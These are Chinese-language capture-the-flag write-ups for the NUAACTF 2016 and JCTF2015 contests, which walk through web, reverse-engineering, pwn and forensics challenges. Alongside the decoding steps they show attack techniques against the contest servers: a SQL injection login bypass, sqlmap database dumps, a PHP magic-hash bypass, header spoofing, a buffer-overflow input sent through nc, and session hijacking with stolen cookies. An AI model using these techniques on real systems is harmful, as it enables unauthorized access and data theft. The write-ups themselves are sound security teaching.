13
public void 服务处理过程(String paramString) {
boolean bool = paramString.equals("闹钟");
int i = 0;
if (bool) {
for (;;) {
i = IntegerVariant.getIntegerVariant(i).add(ByteVariant.getByteVariant((byte)1)).getInteger();
系统相关类.发送广播("后台服务广播", 1, 转换操作.整数到文本(i));
if (IntegerVariant.getIntegerVariant(i).cmp(ByteVariant.getByteVariant((byte)1)) == 0) {
i = 0;
}
}
}
}

这里可以看到发送广播的内容是 1,然后配上上面的 主窗口.标题(this.系统广播1.取广播内容()),这样就达到刷存在感的条件了。

翻完了所有的代码,没发现疑似病毒或者其它恶意软件的痕迹。大家如果对上面的图片或者音频感兴趣,可以放心地安装使用。

0x02 Result

所以,其实——

这就是某个人顺手写出来的整人的玩意儿。

坑爹呢这是!

嗯,不光整了一个人,而是若干高校的图书馆、逸夫楼、自习室。

好了,全文到此结束。

NUAACTF 2016 官方 Writeup

Web1

签到题,打开浏览器的Console即可找到flag:

0

下面那行带有中文的句子是我早上修改界面的时候加上去的,同样的彩蛋在网页源代码中也有,就是每个页面查看源代码之后显示的那个佛祖,23333。

Web2

仔细看会发现题干中百度的链接有点奇怪:

0

根据题目提示,用百度搜索“一只苦逼的开发狗”,发现出题人的博客,第一篇文章有提示:

0

看起来是base64编码,解码之后查看文件类型:

1
2
3
4
5
$ echo "bnVhYWN0ZiU3Qi93ZWIyL2NlYmE2ZmJiZjBlZGU0MzI1MjY0MWNkMzM2ZTM2YTAzJTdE" | base64 -d > out.dat
$ file out.dat
out.dat: ASCII text, with no line terminators
$ cat out.dat
nuaactf%7B/web2/ceba6fbbf0ede43252641cd336e36a03%7D

是一个URI编码之后的字符串,解码即可得到flag,也是下一题的地址:

0

Web3

将题目网址的路径替换成Web2的flag,跳转到http://xxx.xxx.xxx.xxx:8080/web2/xedni.php,查看源代码之后发现了一段PHP代码:

1
2
3
4
5
6
<?php
if(isset($_GET["password"]) && md5($_GET["password"]) == "0e731198061491163073197128363787")
echo file_get_contents("flag.txt");
else
echo file_get_contents("xedni.php");
?>

所以我们的目标就是反查md5。扔进cmd5中发现是一条付费记录,我没钱所以看不了。但是扔到百度中即可得到结果:s1184209335a。于是访问网址:

http://xxx.xxx.xxx.xxx:8080/web2/xedni.php?password=s1184209335a

得到flag:nuaactf{/web3/b481b86354a413b898b6f01af539366d}。

其实还有一种解法,因为PHP的一个“特性”:任何0e开头的字符串都会被解析为数字0,因此只需要找到任意一个md5之后0e开头的字符串,放进password参数中提交即可。看题目描述感觉本题应该是用此方法解,与出题人讨论之后,认为如果考此方法,代码中的md5判断改为”0e23333”更好一点。

Web4

将题目网址的路径替换成Web3的flag,跳转到http://211.65.102.2:8080/web3/login.php,这是一个登录界面,没有任何多余信息,因此考虑SQL注入。测试了一下发现有报错,但是报错中没有语句相关的信息,因此只能盲注,如果将数据库中的数据dump出来,将花费很长的时间。根据提示“需要用管理员账号来看flag”,于是猜想用户表中有一列标记是否为admin。直接在用户名中输入【' and 1=0 union select 1,1,1,1 – 】(别忘了一开始的单引号和最后的空格,1的数量是从两个开始试出来的,表示用户表一共有4列),提交之后会跳转,通过抓包看到flag:nuaactf{hApPy_haCk1n9_t0Day},以及下一题的地址。

为了验证猜想是否正确,可以使用sqlmap扫一下:

1
2
3
4
$ ./sqlmap.py -u "http://xxx.xxx.xxx.xxx:8080/web3/login.php" --forms –dbs
available databases [2]:
[*] information_schema
[*] nuaactf

然后看一下nuaactf里面有什么信息:

1
$ ./sqlmap.py -u "http://xxx.xxx.xxx.xxx:8080/web3/login.php" --forms -D nuaactf --tables --dump

可以dump出表结构,如下图所示:

0

证实了刚才的猜想。

Web5

根据题目描述“你从哪里来“,可以推测是修改HTTP头。在HTTP头中加上:

1
2
Origin: http://cs.nuaa.edu.cn/
X-Forwarded-For: 【cs.nuaa.edu.cn的IP】

得出flag:nuaactf{C0ndrulation!_y0u_f1n1shed_a11_web_quest}。

Reverse1

这是一个apk,先用dex2jar将其转换为jar文件:

1
2
$ d2j-dex2jar.sh reverse1.apk
dex2jar reverse1.apk -> reverse1-dex2jar.jar

用jd-gui打开,在cc.sslab.app1中发现flag:nuaactf{Happy_crack1ng_app!}。

0

Reverse2

根据题目描述,可能跟音频有关,于是用压缩工具打开apk(apk本质上是个压缩包),在res/raw文件夹中发现sound.wav。使用高级一点的音频工具(例如AU)打开,发现有四个声道,下面的两个声道非常可疑。

0

于是就变成了一道数数题,令上面的为1,下面的为0,得到如下的01序列:

1
011011100111010101100001011000010110001101110100011001100111101101110011011010000011000001110010011101000101111101100110001100010100000101100111

然后将其每8个一组,转换为ASCII字符:

1
2
3
4
5
6
7
a = '01101110 01110101 01100001 01100001 01100011 01110100 01100110 01111011 01110011 01101000 00110000 01110010 01110100 01011111 01100110 00110001 01000001 01100111'.split(' ')
b = ''
a.forEach(function (item, index) {
ascii = parseInt(item, 2)
b += String.fromCharCode(ascii)
})
console.log(b)

得出flag:nuaactf{sh0rt_f1Ag}。(原数据缺少右花括号,比赛现场修正了题目。)

Reverse3

根据题目描述(拖拽即可生成界面)以及exe文件打开之后的窗口图标,可以确定这是一个.NET的程序。使用ILSpy(或者.NET Reflector)打开,在reverse3的Form1中发现:

0

分析可得:点击按钮之后判断你输入的字符串经过decrypt2加密后是否等于通过decrypt1解密过的一串字符串,如果相等则显示“Correct Flag!”。也就是说,flag应该是图中的长字符串经过decrypt1解密后再经过decrypt2解密得到的答案。

在reverse3中有decrypt1和decrypt2两个class,里面都有加密和解密函数(据出题人说,为了降低难度特地写的解密函数,本应由参赛者自行推断解密算法)。扔进C#环境中运行一遍即可。

由于我本机没有C# 环境,因此搜索出来一个支持多种语言的在线运行环境。将decrypt1、decrypt2、MyMap三个类摘出来拼到一个文件中,自己另写了一个Test类来调用。

0

上图是我在Sublime Text中整合的代码,为了方便截图我将三个类折叠起来了。 下图是在一个在线运行网站上得出的结果。

0

最终得出flag:NUAACTF{HAPPYCRACK1NGCHHARP}。

Reverse4

这是一个Mac下的二进制文件,使用IDA打开,看到 _main函数的逻辑是:获取程序调用时的第一个参数(argv1),使用encrypt函数加密之后输出。

于是找到encrypt函数,不得不说IDA的变量改名和注释功能挺好用的,一番折腾之后见下图。其中关于_DefaultRuneLocale_ptr和 __maskrune的知识,请参考下面的两个文件:

http://users.sosdg.org/~qiyong/mxr/source/lib/libc/locale/runetable.c#L54 http://users.sosdg.org/~qiyong/mxr/source/lib/libc/locale/runetype_file.h#L60

这也是编译器实现isalpha和isupper等函数的原理。

0

可能是IDA的F5工具逻辑有问题,将一个循环编译成的汇编还原成伪代码的结果很奇怪。再进行一遍逻辑整理之后,推测出源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
void encrypt(char *str, char *buffer) {
int str_length = strlen(str);
int password_length = strlen(password);
// 生成密码字典dict
for (int i = 0; i < password_length; i++) {
alphabet[password[i] - 'a'] = true;
dict[i] = password[i] - 'a';
}
for (int i = 0; i < 25; i++)
if (alphabet[i] == false)
dict[password_length++] = i;
// 使用dict来置换对str中的字母
for (int i = 0; i < str_length; i++) {
if (isalpha(str[i]) == true) {
t = tolower(str[i]) - 'a';
c = str[i];
if (isupper(c) == false) buffer[i] = dict[t] + 'a';
else buffer[i] = dict[t] + 'A';
}
else buffer[i] = t;
}
}

可以看出,上方生成的字典其实就是a-z的字母表,将password放到开头,然后剩下的字母依次排列。下方的替换其实就是str[i]→dict[str[i]],也就是说,这是一个用password做表头的标准字头密码体制。至于password是什么,用IDA全局搜索一下就知道了:

0

可以看到password的值为”asuri”,那么密码表就是”asuribcdefghjklmnopqtvwxyz”,写程序也好,手动替换也好,可以得出加密串ktaauqb{Apto1_Mo0qiuq_Y0t} 的原串,也就是题目的flag为:nuaactf{Asur1_Pr0tect_Y0u}。

顺便提一下:我在IDA中看到有一个函数叫generateDict,但是在main中并没有被调用,与出题人核对一遍源代码之后才发现,源代码在encrypt函数中调用了generateDict,然而编译器将它inline优化掉了,因此encrypt中才有了生成字典的代码段。

Pwn1

打开链接发现是一个txt文件,可以断定用了jsfuck,因此将代码复制粘贴到浏览器中执行即可得到flag:nuaactf{Isnt_js_FunNy>?}。

Pwn2

裸最短路问题,可以使用Dijkstra或者SPFA来解决。最终得到flag:nuaactf{1159}。

Pwn3

下载下来一个Linux下的ELF文件,直接用Linux环境执行会输出:

1
Cannot find flag files!,use default flag: nuaactf{FLAG_w0nt_b1_s0_EASY}

这个flag是一个假的flag,因此需要继续破解。扔到IDA中F5一下,然后定位到main函数,发现先在本地读取了flag.txt,如果没有的话输出上面那段话,因此只能通过nc连过去之后输入,或者在本机先输出,然后通过管道接到nc里面。

剩下的绝大部分代码都是连接socket的,只有最后一段:

0

于是找到str_echo函数,发现并未读取v7,然而判断了v7是否等于0x800,因此可以确定有缓冲区溢出漏洞。找到result = read(a1, &s, 500uLL),那么漏洞应该在这里。到上面查看s和v7的位置吧,如下图所示,s的起点在sp+10h,v7的起点在sp+124h,说明需要读入114h个8的长度(因为sizeof(char)=8)才可以开始读v7。

0

那么方法就是构造这样一个二进制串:一开始是长度为114h*8(2208位二进制)的随机串,最后补上一个0x800的二进制串就可以了。如果使用WinHex或者Sublime Text查看这个串,应该是先有552个0,之后接了0008(大端模式)。将这个文件存成一个二进制文件例如a.dat,然后在命令行中输入:

1
$ cat a.dat | ./nc.exe xxx.xxx.xxx.xxx 43321

得到flag:nuaactf{explo1t_a_l0t_fun}。

Pwn4

模拟题,读入矩阵并按照题目描述来操作。最后求行和与列和的输出一共24个数字,根据提示说最终答案是一个长度为24的字符串,考虑到这些数字对127取余后可能就是flag。最终得到结果:nuaactf{M4tr1X_15_gRe4t}。

Misc1

使用file命令查看文件类型:

1
2
$ file misc1.rar
misc1.rar: PNG image data, 454 x 340, 8-bit/color RGBA, non-interlaced

发现是一个PNG文件。修改后缀打开得到flag:nuaactf{Hello_MISC_nOt_RAR}。

Misc2

使用binwalk命令查看文件数据:

1
2
3
4
5
6
7
8
9
$ binwalk misc2.png

DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 PNG image, 512 x 512, 8-bit/color RGBA, non-interlaced
85 0x55 Zlib compressed data, best compression
2773 0xAD5 Zlib compressed data, best compression
195124 0x2FA34 Zip archive data, at least v1.0 to extract, compressed size: 28, uncompressed size: 28, name: flag.txt
195244 0x2FAAC End of Zip archive

发现在第195124的地方是一个zip压缩包。于是使用dd命令将其提取出来:

1
2
3
4
$ dd if=misc2.png of=out.zip bs=1 skip=195124
142+0 records in
142+0 records out
142 bytes (142 B) copied, 0.00722364 s, 19.7 kB/s

打开out.zip,里面是一个flag.txt,内容为:nuaactf{z1p_0vEr_Png_1s_fun}。

Misc3

使用StegSolve工具打开文件,切换至Red plane 1,在文件左下角有一个二维码。

0

扫码得出来一个字符串:

1
QlpoOTFBWSZTWXhAk1kAAAtfgAAQIABgAAgAAACvIbYKIAAigNHqNGmnqFMJpoDTEO0CXcIvl9SeOAB3axLQYn4u5IpwoSDwgSay

可以看出这是一个Base64编码。然而这串编码并不是编码了一段文字,可能是一段二进制数据。将其提取出来,并查看文件类型:

1
2
3
$ echo "QlpoOTFBWSZTWXhAk1kAAAtfgAAQIABgAAgAAACvIbYKIAAigNHqNGmnqFMJpoDTEO0CXcIvl9SeOAB3axLQYn4u5IpwoSDwgSay" | base64 –d > out.dat
$ file out.dat
out.dat: bzip2 compressed data, block size = 900k

发现是一个bzip2压缩的文件,将其解压即可得到flag:

1
2
$ cat out.dat | bunzip2
nuaactf{qrc0de_in_C011ect1on!}

Misc4

首先先用dex2jar将apk解包,使用jd-gui查看,发现里面超级复杂,于是转向pcapng文件,用Wireshark打开之后,过滤出HTTP请求,发现每个POST请求的JSON串都会带上一个body参数,而且是经过加密的,与题目给的数据很像。于是思路变为查找body的加密过程。使用jd-gui全局查找,发现在com.huidong.mdschool.net.HttpTask.class文件的onPreExecute函数中有如下代码:

1
2
3
4
5
for (String str = "'" + AesUtil.encrypt(localGson.toJson(this.bodyRequest), new StringBuilder("www.wowsport.cn").append(BodyBuildingUtil.getDeviceId(this.context)).toString()) + "'";; str = localGson.toJson(this.bodyRequest)) {
localHashMap.put("body", str);
this.jsonObject = localHashMap.toString();
return;
}

于是找到了加密方式:

1
AesUtil.encrypt(localGson.toJson(this.bodyRequest), new StringBuilder("www.wowsport.cn").append(BodyBuildingUtil.getDeviceId(this.context))

定位至AesUtil.encrypt函数,如下图所示:

0

其中函数secureBytes的作用是将字符串长度变为16,多则截取少则补零。然后encrypt使用了AES做加密,key就是那个16位字符串,也就是secureBytes(new StringBuilder("www.wowsport.cn").append(BodyBuildingUtil.getDeviceId(this.context)))。前面一共15位,也就是说只需要知道getDeviceId的结果就可以了。看起来这个值与设备有关,应该只能从pcapng文件中找。发现POST数据中有一个”devId”:”81505f1ad0d49485”,于是密钥为www.wowsport.cn8,解密得出:{"flag":"nuaactf{f**K_mE_D0nG_sp0rt!}"}。

JCTF2015非官方writeup

这次水平有限,所以只做出了四道题……请大家尽情鄙视我们吧……

0x1

在资源文件夹中有一个bababa.wav的文件,用AU打开,发现是四声道,下面的两个音轨是二进制波形。按照高低不同分为01记下后,每八位一组,转换为char,即可得到flag。

0x2

根据提示可得栈226有问题, 发现所有记录中均使用DES-EBC加密,key为stringWi。从github上down一个des解密算法,把226的post数据base64解码后使用des解密,即可得到flag。

1
2
3
4
5
6
7
8
9
10
11
12
{
"bundle" : "com.Securitygossip",
"os" : "0.0.1",
"status" : "solved",
"app" : "XcodeGhost",
"country" : "CN",
"language" : "zh-Hans",
"version" : "426",
"type" : "iPhone6,",
"timestamp" : "1440065480",
"name" : "JCTF{XcodeGhost_is_everywhere}"
}

0x6-1

在根目录下的robots.txt中发现如下字符串:

1
2
User-agent: *
Disallow: /13c087c969641bc59fffc97dccd5e673.php?ajiao=whosays*$

最后两个字符看起来像一个正则表达式。

打开Disallow的网址之后,发现php文件的ETAG有点特殊,其它文件的ETAG都是正常的,只有php文件的ETAG是一串连起来的字符:

1
61573135623356795a6d467563773d3d

将ETAG每两位分隔开,作为URL编码来解码,得到一个base64串:

1
aW15b3VyZmFucw==

解码后得到“imyourfans”。

考虑之前robots.txt中的提示,将此字符串带入参数:

1
?ajiao=whosaysimyourfans

访问之后,可以在最下方找到如下代码:

1
<script>alert("JCTF{keep_clam_and_carry_on}")</script><script>alert("# 0x2/1c8bd3e2bdb4c43d317ef5fbef73aab0.php")</script>

0x6-2

查看网页源代码,可以看到一段注释:

1
<!--my birthday 19xxxxxx-->

根据注释和上面<img>标签的alt,容易联想到“刘涛生日”,百度可得19780712。然而输入进去发现并没有立即提交。

看到网页中的一段js,这是在用jQuery发post包:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function sendreq() {
var requestUrl = "./1c8bd3e2bdb4c43d317ef5fbef73aab0.php";
$.ajax({
type: "post",
data: "pwd=" + $("#liutao").val(),
dataType: "text",
contentType: 'application/x-www-form-urlencoded',
url: requestUrl,
async: false,
complete: function() {},
error: function(xhr) {
alert(xhr);
},
success: function(msg) {
if (msg == "error")
alert("Password Error!");
else
window.location.href = msg;
}
});
}

其中data的值为“pwd=19780712”,用Fiddler模拟发个包就好了,可以在网页最下方发现提示:“不是土豪不过关,请用iphone7浏览”……主办方丧心病狂……

然后我当时智商太低,并没有意识到iphone只出到了6s,傻傻去百度iphone7的参数去了……结果真发现了,iphone7使用的是iOS10系统,所以将浏览器UA中的版本改成10就可以了,访问得到一个图片的路径,以及一句提示:“wrong session”。

打开图片,里面是一些用xss获取到的cookie,将PHPSESSID替换掉再访问,即可获取flag。